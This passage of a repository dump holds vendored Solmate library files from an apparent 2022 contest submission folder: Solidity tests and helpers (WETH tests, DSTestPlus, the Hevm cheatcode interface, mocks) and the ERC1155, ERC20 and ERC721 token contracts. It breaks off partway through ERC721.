) internal {
forceApprove(token, from, address(this), amount);
SafeTransferLib.safeTransfer(SolmateERC20(token), from, amount);
uint256 preBal = ERC20(token).balanceOf(to);
SafeTransferLib.safeTransferFrom(SolmateERC20(token), from, to, amount);
uint256 postBal = ERC20(token).balanceOf(to);
if (from == to) {
assertEq(preBal, postBal);
} else {
assertEq(postBal - preBal, amount);
}
}
function verifySafeApprove(
address token,
address to,
uint256 amount
) internal {
SafeTransferLib.safeApprove(SolmateERC20(address(token)), to, amount);
assertEq(ERC20(token).allowance(address(this), to), amount);
}
function forceApprove(
address token,
address from,
address to,
uint256 amount
) internal {
uint256 slot = token == address(erc20) || token == address(pausable) ? 3 : 2;
hevm.store(
token,
keccak256(abi.encode(to, keccak256(abi.encode(from, uint256(slot))))),
bytes32(uint256(amount))
);
assertEq(ERC20(token).allowance(from, to), amount, "wrong allowance");
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/WETH.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {DSInvariantTest} from "./utils/DSInvariantTest.sol";
import {SafeTransferLib} from "../utils/SafeTransferLib.sol";
import {WETH} from "../tokens/WETH.sol";
contract WETHTest is DSTestPlus {
WETH weth;
function setUp() public {
weth = new WETH();
}
function testDeposit() public {
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
SafeTransferLib.safeTransferETH(address(weth), 1 ether);
assertEq(weth.balanceOf(address(this)), 1 ether);
assertEq(weth.totalSupply(), 1 ether);
}
function testFallbackDeposit() public {
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
weth.deposit{value: 1 ether}();
assertEq(weth.balanceOf(address(this)), 1 ether);
assertEq(weth.totalSupply(), 1 ether);
}
function testWithdraw() public {
uint256 startingBalance = address(this).balance;
weth.deposit{value: 1 ether}();
weth.withdraw(1 ether);
uint256 balanceAfterWithdraw = address(this).balance;
assertEq(balanceAfterWithdraw, startingBalance);
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
}
function testPartialWithdraw() public {
weth.deposit{value: 1 ether}();
uint256 balanceBeforeWithdraw = address(this).balance;
weth.withdraw(0.5 ether);
uint256 balanceAfterWithdraw = address(this).balance;
assertEq(balanceAfterWithdraw, balanceBeforeWithdraw + 0.5 ether);
assertEq(weth.balanceOf(address(this)), 0.5 ether);
assertEq(weth.totalSupply(), 0.5 ether);
}
function testDeposit(uint256 amount) public {
amount = bound(amount, 0, address(this).balance);
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
SafeTransferLib.safeTransferETH(address(weth), amount);
assertEq(weth.balanceOf(address(this)), amount);
assertEq(weth.totalSupply(), amount);
}
function testFallbackDeposit(uint256 amount) public {
amount = bound(amount, 0, address(this).balance);
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
weth.deposit{value: amount}();
assertEq(weth.balanceOf(address(this)), amount);
assertEq(weth.totalSupply(), amount);
}
function testWithdraw(uint256 depositAmount, uint256 withdrawAmount) public {
depositAmount = bound(depositAmount, 0, address(this).balance);
withdrawAmount = bound(withdrawAmount, 0, depositAmount);
weth.deposit{value: depositAmount}();
uint256 balanceBeforeWithdraw = address(this).balance;
weth.withdraw(withdrawAmount);
uint256 balanceAfterWithdraw = address(this).balance;
assertEq(balanceAfterWithdraw, balanceBeforeWithdraw + withdrawAmount);
assertEq(weth.balanceOf(address(this)), depositAmount - withdrawAmount);
assertEq(weth.totalSupply(), depositAmount - withdrawAmount);
}
receive() external payable {}
}
contract WETHInvariants is DSTestPlus, DSInvariantTest {
WETHTester wethTester;
WETH weth;
function setUp() public {
weth = new WETH();
wethTester = new WETHTester{value: address(this).balance}(weth);
addTargetContract(address(wethTester));
}
function invariantTotalSupplyEqualsBalance() public {
assertEq(address(weth).balance, weth.totalSupply());
}
}
contract WETHTester {
WETH weth;
constructor(WETH _weth) payable {
weth = _weth;
}
function deposit(uint256 amount) public {
weth.deposit{value: amount}();
}
function fallbackDeposit(uint256 amount) public {
SafeTransferLib.safeTransferETH(address(weth), amount);
}
function withdraw(uint256 amount) public {
weth.withdraw(amount);
}
receive() external payable {}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/DSInvariantTest.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
contract DSInvariantTest {
address[] private targets;
function targetContracts() public view virtual returns (address[] memory) {
require(targets.length > 0, "NO_TARGET_CONTRACTS");
return targets;
}
function addTargetContract(address newTargetContract) internal virtual {
targets.push(newTargetContract);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/DSTestPlus.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {DSTest} from "ds-test/test.sol";
import {Hevm} from "./Hevm.sol";
/// @notice Extended testing framework for DappTools projects.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/test/utils/DSTestPlus.sol)
contract DSTestPlus is DSTest {
Hevm internal constant hevm = Hevm(HEVM_ADDRESS);
address internal constant DEAD_ADDRESS = 0xDeaDbeefdEAdbeefdEadbEEFdeadbeEFdEaDbeeF;
string private checkpointLabel;
uint256 private checkpointGasLeft;
function startMeasuringGas(string memory label) internal virtual {
checkpointLabel = label;
checkpointGasLeft = gasleft();
}
function stopMeasuringGas() internal virtual {
uint256 checkpointGasLeft2 = gasleft();
string memory label = checkpointLabel;
emit log_named_uint(string(abi.encodePacked(label, " Gas")), checkpointGasLeft - checkpointGasLeft2);
}
function fail(string memory err) internal virtual {
emit log_named_string("Error", err);
fail();
}
function assertFalse(bool data) internal virtual {
assertTrue(!data);
}
function assertUint128Eq(uint128 a, uint128 b) internal virtual {
assertEq(uint256(a), uint256(b));
}
function assertUint64Eq(uint64 a, uint64 b) internal virtual {
assertEq(uint256(a), uint256(b));
}
function assertUint96Eq(uint96 a, uint96 b) internal virtual {
assertEq(uint256(a), uint256(b));
}
function assertUint32Eq(uint32 a, uint32 b) internal virtual {
assertEq(uint256(a), uint256(b));
}
function assertBoolEq(bool a, bool b) internal virtual {
b ? assertTrue(a) : assertFalse(a);
}
function assertApproxEq(
uint256 a,
uint256 b,
uint256 maxDelta
) internal virtual {
uint256 delta = a > b ? a - b : b - a;
if (delta > maxDelta) {
emit log("Error: a ~= b not satisfied [uint]");
emit log_named_uint(" Expected", a);
emit log_named_uint(" Actual", b);
emit log_named_uint(" Max Delta", maxDelta);
emit log_named_uint(" Delta", delta);
fail();
}
}
function assertRelApproxEq(
uint256 a,
uint256 b,
uint256 maxPercentDelta
) internal virtual {
uint256 delta = a > b ? a - b : b - a;
uint256 abs = a > b ? a : b;
uint256 percentDelta = (delta * 1e18) / abs;
if (percentDelta > maxPercentDelta) {
emit log("Error: a ~= b not satisfied [uint]");
emit log_named_uint(" Expected", a);
emit log_named_uint(" Actual", b);
emit log_named_uint(" Max % Delta", maxPercentDelta);
emit log_named_uint(" % Delta", percentDelta);
fail();
}
}
function assertBytesEq(bytes memory a, bytes memory b) internal virtual {
if (keccak256(a) != keccak256(b)) {
emit log("Error: a == b not satisfied [bytes]");
emit log_named_bytes(" Expected", b);
emit log_named_bytes(" Actual", a);
fail();
}
}
function assertUintArrayEq(uint256[] memory a, uint256[] memory b) internal virtual {
require(a.length == b.length, "LENGTH_MISMATCH");
for (uint256 i = 0; i < a.length; i++) {
assertEq(a[i], b[i]);
}
}
function bound(
uint256 x,
uint256 min,
uint256 max
) internal pure returns (uint256 result) {
require(max >= min, "MAX_LESS_THAN_MIN");
uint256 size = max - min;
if (max != type(uint256).max) size++; // Make the max inclusive.
if (size == 0) return min; // Using max would be equivalent as well.
// Ensure max is inclusive in cases where x != 0 and max is at uint max.
if (max == type(uint256).max && x != 0) x--; // Accounted for later.
if (x < min) x += size * (((min - x) / size) + 1);
result = min + ((x - min) % size);
// Account for decrementing x to make max inclusive.
if (max == type(uint256).max && x != 0) result++;
}
function min3(
uint256 a,
uint256 b,
uint256 c
) internal pure returns (uint256) {
return a > b ? (b > c ? c : b) : (a > c ? c : a);
}
function min2(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? b : a;
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/Hevm.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
interface Hevm {
function warp(uint256) external;
function roll(uint256) external;
function store(
address,
bytes32,
bytes32
) external;
function load(address, bytes32) external returns (bytes32);
function sign(uint256, bytes32)
external
returns (
uint8,
bytes32,
bytes32
);
function addr(uint256) external returns (address);
function ffi(string[] calldata) external returns (bytes memory);
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/mocks/MockAuthChild.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {Auth, Authority} from "../../../auth/Auth.sol";
contract MockAuthChild is Auth(msg.sender, Authority(address(0))) {
bool public flag;
function updateFlag() public virtual requiresAuth {
flag = true;
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/mocks/MockAuthority.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {Authority} from "../../../auth/Auth.sol";
contract MockAuthority is Authority {
bool immutable allowCalls;
constructor(bool _allowCalls) {
allowCalls = _allowCalls;
}
function canCall(
address,
address,
bytes4
) public view override returns (bool) {
return allowCalls;
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/mocks/MockERC1155.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC1155} from "../../../tokens/ERC1155.sol";
contract MockERC1155 is ERC1155 {
function uri(uint256) public pure virtual override returns (string memory) {}
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
_mint(to, id, amount, data);
}
function batchMint(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
_batchMint(to, ids, amounts, data);
}
function burn(
address from,
uint256 id,
uint256 amount
) public virtual {
_burn(from, id, amount);
}
function batchBurn(
address from,
uint256[] memory ids,
uint256[] memory amounts
) public virtual {
_batchBurn(from, ids, amounts);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/mocks/MockERC20.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../../../tokens/ERC20.sol";
contract MockERC20 is ERC20 {
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) ERC20(_name, _symbol, _decimals) {}
function mint(address to, uint256 value) public virtual {
_mint(to, value);
}
function burn(address from, uint256 value) public virtual {
_burn(from, value);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/mocks/MockERC721.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC721} from "../../../tokens/ERC721.sol";
contract MockERC721 is ERC721 {
constructor(string memory _name, string memory _symbol) ERC721(_name, _symbol) {}
function tokenURI(uint256) public pure virtual override returns (string memory) {}
function mint(address to, uint256 tokenId) public virtual {
_mint(to, tokenId);
}
function burn(uint256 tokenId) public virtual {
_burn(tokenId);
}
function safeMint(address to, uint256 tokenId) public virtual {
_safeMint(to, tokenId);
}
function safeMint(
address to,
uint256 tokenId,
bytes memory data
) public virtual {
_safeMint(to, tokenId, data);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/users/ERC1155User.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC1155, ERC1155TokenReceiver} from "../../../tokens/ERC1155.sol";
contract ERC1155User is ERC1155TokenReceiver {
ERC1155 token;
constructor(ERC1155 _token) {
token = _token;
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external virtual override returns (bytes4) {
return ERC1155TokenReceiver.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external virtual override returns (bytes4) {
return ERC1155TokenReceiver.onERC1155BatchReceived.selector;
}
function setApprovalForAll(address operator, bool approved) public virtual {
token.setApprovalForAll(operator, approved);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
token.safeTransferFrom(from, to, id, amount, data);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
token.safeBatchTransferFrom(from, to, ids, amounts, data);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/users/ERC20User.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../../../tokens/ERC20.sol";
contract ERC20User {
ERC20 token;
constructor(ERC20 _token) {
token = _token;
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
return token.approve(spender, amount);
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
return token.transfer(to, amount);
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
return token.transferFrom(from, to, amount);
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
return token.permit(owner, spender, value, deadline, v, r, s);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/users/ERC721User.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC721, ERC721TokenReceiver} from "../../../tokens/ERC721.sol";
contract ERC721User is ERC721TokenReceiver {
ERC721 token;
constructor(ERC721 _token) {
token = _token;
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) public virtual override returns (bytes4) {
return ERC721TokenReceiver.onERC721Received.selector;
}
function approve(address spender, uint256 tokenId) public virtual {
token.approve(spender, tokenId);
}
function setApprovalForAll(address operator, bool approved) public virtual {
token.setApprovalForAll(operator, approved);
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
token.transferFrom(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
token.safeTransferFrom(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public {
token.safeTransferFrom(from, to, tokenId, data);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/utils/users/GenericUser.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity >=0.8.0;
contract GenericUser {
function tryCall(address target, bytes memory data) public virtual returns (bool success, bytes memory returnData) {
(success, returnData) = target.call(data);
}
function call(address target, bytes memory data) public virtual returns (bytes memory returnData) {
bool success;
(success, returnData) = target.call(data);
if (!success) {
if (returnData.length > 0) {
assembly {
let returnDataSize := mload(returnData)
revert(add(32, returnData), returnDataSize)
}
} else {
revert("REVERTED_WITHOUT_A_MESSAGE");
}
}
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/tokens/ERC1155.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Minimalist and gas efficient standard ERC1155 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)
abstract contract ERC1155 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event TransferSingle(
address indexed operator,
address indexed from,
address indexed to,
uint256 id,
uint256 amount
);
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] amounts
);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
/*///////////////////////////////////////////////////////////////
ERC1155 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => mapping(uint256 => uint256)) public balanceOf;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
METADATA LOGIC
//////////////////////////////////////////////////////////////*/
function uri(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC1155 ACTIONS
//////////////////////////////////////////////////////////////*/
function setApprovalForAll(address operator, bool approved) public virtual {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
require(msg.sender == from || isApprovedForAll[from][msg.sender], "NOT_AUTHORIZED");
balanceOf[from][id] -= amount;
balanceOf[to][id] += amount;
emit TransferSingle(msg.sender, from, to, id, amount);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155Received(msg.sender, from, id, amount, data) ==
ERC1155TokenReceiver.onERC1155Received.selector,
"UNSAFE_RECIPIENT"
);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
uint256 idsLength = ids.length; // Saves MLOADs.
require(idsLength == amounts.length, "LENGTH_MISMATCH");
require(msg.sender == from || isApprovedForAll[from][msg.sender], "NOT_AUTHORIZED");
for (uint256 i = 0; i < idsLength; ) {
uint256 id = ids[i];
uint256 amount = amounts[i];
balanceOf[from][id] -= amount;
balanceOf[to][id] += amount;
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
i++;
}
}
emit TransferBatch(msg.sender, from, to, ids, amounts);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155BatchReceived(msg.sender, from, ids, amounts, data) ==
ERC1155TokenReceiver.onERC1155BatchReceived.selector,
"UNSAFE_RECIPIENT"
);
}
function balanceOfBatch(address[] memory owners, uint256[] memory ids)
public
view
virtual
returns (uint256[] memory balances)
{
uint256 ownersLength = owners.length; // Saves MLOADs.
require(ownersLength == ids.length, "LENGTH_MISMATCH");
balances = new uint256[](owners.length);
// Unchecked because the only math done is incrementing
// the array index counter which cannot possibly overflow.
unchecked {
for (uint256 i = 0; i < ownersLength; i++) {
balances[i] = balanceOf[owners[i]][ids[i]];
}
}
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
return
interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
interfaceId == 0xd9b67a26 || // ERC165 Interface ID for ERC1155
interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal {
balanceOf[to][id] += amount;
emit TransferSingle(msg.sender, address(0), to, id, amount);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155Received(msg.sender, address(0), id, amount, data) ==
ERC1155TokenReceiver.onERC1155Received.selector,
"UNSAFE_RECIPIENT"
);
}
function _batchMint(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal {
uint256 idsLength = ids.length; // Saves MLOADs.
require(idsLength == amounts.length, "LENGTH_MISMATCH");
for (uint256 i = 0; i < idsLength; ) {
balanceOf[to][ids[i]] += amounts[i];
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
i++;
}
}
emit TransferBatch(msg.sender, address(0), to, ids, amounts);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155BatchReceived(msg.sender, address(0), ids, amounts, data) ==
ERC1155TokenReceiver.onERC1155BatchReceived.selector,
"UNSAFE_RECIPIENT"
);
}
function _batchBurn(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal {
uint256 idsLength = ids.length; // Saves MLOADs.
require(idsLength == amounts.length, "LENGTH_MISMATCH");
for (uint256 i = 0; i < idsLength; ) {
balanceOf[from][ids[i]] -= amounts[i];
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
i++;
}
}
emit TransferBatch(msg.sender, from, address(0), ids, amounts);
}
function _burn(
address from,
uint256 id,
uint256 amount
) internal {
balanceOf[from][id] -= amount;
emit TransferSingle(msg.sender, from, address(0), id, amount);
}
}
/// @notice A generic interface for a contract which properly accepts ERC1155 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)
interface ERC1155TokenReceiver {
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 amount,
bytes calldata data
) external returns (bytes4);
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external returns (bytes4);
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/tokens/ERC20.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
bytes32 public constant PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/tokens/ERC721.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
/// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC.
abstract contract ERC721 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC721 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
}
/*///////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
address owner = ownerOf[id];
require(msg.sender == owner || isApprovedForAll[owner][msg.sender], "NOT_AUTHORIZED");
getApproved[id] = spender;
emit Approval(owner, spender, id);
}
function setApprovalForAll(address operator, bool approved) public virtual {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
require(from == ownerOf[id], "WRONG_FROM");
require(to != address(0), "INVALID_RECIPIENT");
require(
msg.sender == from || msg.sender == getApproved[id] || isApprovedForAll[from][msg.sender],
"NOT_AUTHORIZED"
);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
balanceOf[from]--;
balanceOf[to]++;
}
delete getApproved[id];
ownerOf[id] = to;
emit Transfer(from, to, id);
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
transferFrom(from, to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, "") ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes memory data
) public virtual {
transferFrom(from, to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {
return
interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721
interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
require(to != address(0), "INVALID_RECIPIENT");
require(ownerOf[id] == address(0), "ALREADY_MINTED");
// Counter overflow is incredibly unrealistic.
unchecked {
totalSupply++;
balanceOf[to]++;
}
ownerOf[id] = to;
emit Transfer(address(0), to, id);
}
function _burn(uint256 id) internal virtual {
address owner = ownerOf[id];
require(ownerOf[id] != address(0), "NOT_MINTED");
// Ownership check above ensures no underflow.
unchecked {
totalSupply--;
balanceOf[owner]--;
}
delete ownerOf[id];
emit Transfer(owner, address(0), id);
}
/*///////////////////////////////////////////////////////////////
INTERNAL SAFE MINT LOGIC
//////////////////////////////////////////////////////////////*/
function _safeMint(address to, uint256 id) internal virtual {
_mint(to, id);
require(
to.code.length == 0 ||
ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, "") ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
function _safeMint(
address to,
uint256 id,
bytes memory data
) internal virtual {
_mint(to, id);
require(
to.code.length == 0 ||
